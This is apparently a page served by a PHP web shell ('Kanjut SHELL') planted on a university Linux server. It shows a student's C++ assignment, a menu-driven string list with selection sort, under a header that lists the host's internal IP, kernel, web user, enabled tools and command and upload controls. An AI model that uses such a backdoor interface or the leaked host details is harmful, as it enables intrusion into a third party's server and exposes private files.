Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.249.63
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/sjpruden/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sjpruden/assignment4.cpp
//	CS212 Assignment 4
//	Due: Monday, March 7, 2011
//	File Name: assignment4.cpp
//	Author: Spencer Pruden
//	Instructor: Dr. Wang
//
//	Goal: Write a program to prompt a 
//	menu and ask the user to input
//	The first two operations need to prompt another message, 
//	so the user can input a string item. The string 
//	may be a single string without space.


#include <iostream>
using namespace std;

const int MAX = 50;

class List
{
	string data[MAX];
	int length;
public:
	List() { length = 0;   }
	int Length() const
	{	return length;	}
	void Insert(string item)
	{	data[length] = item;
		length ++;
	}
	void Print() const
	{	for(int i=0; i<length; i++)
			cout << data[i] << " ";
		cout << "\n";
	}
	bool IsPresent(string item) const
	{	bool found = false;
		for(int i=0; i<length && !found; i++)
			if(data[i] == item) found = true;
		return found;
	}
	void SelectionSort()
	{	string temp;
		int passCount;
		int minIndex;
		for(passCount=0; passCount<length-1; passCount++)
		{	minIndex = passCount;
			for(int k=passCount+1; k<length; k++)
			{	if( data[minIndex] > data[k] )	minIndex = k;	}
			temp = data[minIndex];
			data[minIndex] = data[passCount];
			data[passCount] = temp;
		}
	}
	void SelectionSort_R()
	{ 	string temp;
                int passCount;
                int maxIndex;
                for(passCount=0; passCount<length-1; passCount++)
                {       maxIndex = passCount;
                        for(int k=passCount+1; k<length; k++)
                        {       if( data[maxIndex] < data[k] )  maxIndex = k;   }
                        temp = data[maxIndex];
                        data[maxIndex] = data[passCount];
                        data[passCount] = temp;
                }
        }
};

int main()
{
	List real;
	char op;	
	string item;

	cout << "	String List Operations\n";
	cout << "===============================================\n";
	cout << "I	Insert a String to the list.\n";
	cout << "F	Find out if the item is in the list.\n";
	cout << "S	Sort the list to ascending order.\n";
	cout << "R	Sort the list to descending order.\n";
	cout << "D	Display the string list.\n";
	cout << "Q	Quit.\n";
	cout << "-----------------------------------------------\n";
	cout << "Your option is: ";
	cin >> op;

	while(toupper(op) != 'Q')
	{
		if (toupper(op) == 'I')
		{	cout << "Input the item: ";
			cin >> item;
			real.Insert(item);
			cout << "The list is - ";
			real.Print();
		}
		else if(toupper(op) == 'S')
		{	real.SelectionSort();
			cout << "The list is - ";
			real.Print();
		}
                else if(toupper(op) == 'R')
                {       real.SelectionSort_R();
                        cout << "The list is - ";
                        real.Print();
                } 
		else if (toupper(op) == 'D')
		{ 
			cout << "The list is: ";
			real.Print();
		}
		else if (toupper(op) == 'F')
		{
			cout << "Input an item to be found: ";
			cin >> item;
			if ( real.IsPresent(item) )
			cout << item << " is in the list.\n";
			else
			cout << item << " is not in the list.\n";
		}
		cout << "	String List Operations\n";
		cout << "================================================\n";
		cout << "I	Insert a String to the list.\n";
		cout << "F	Find out if the item is in the list.\n";
		cout << "S	Sort the list to ascending order.\n";
		cout << "R	Sort the list to descending order.\n";
		cout << "D	Display the string list.\n";
		cout << "Q	Quit.\n";
		cout << "------------------------------------------------\n";
		cout << "Your option is: ";
		cin >> op;
	}
	return 0;
}

Stv3n404 - 2023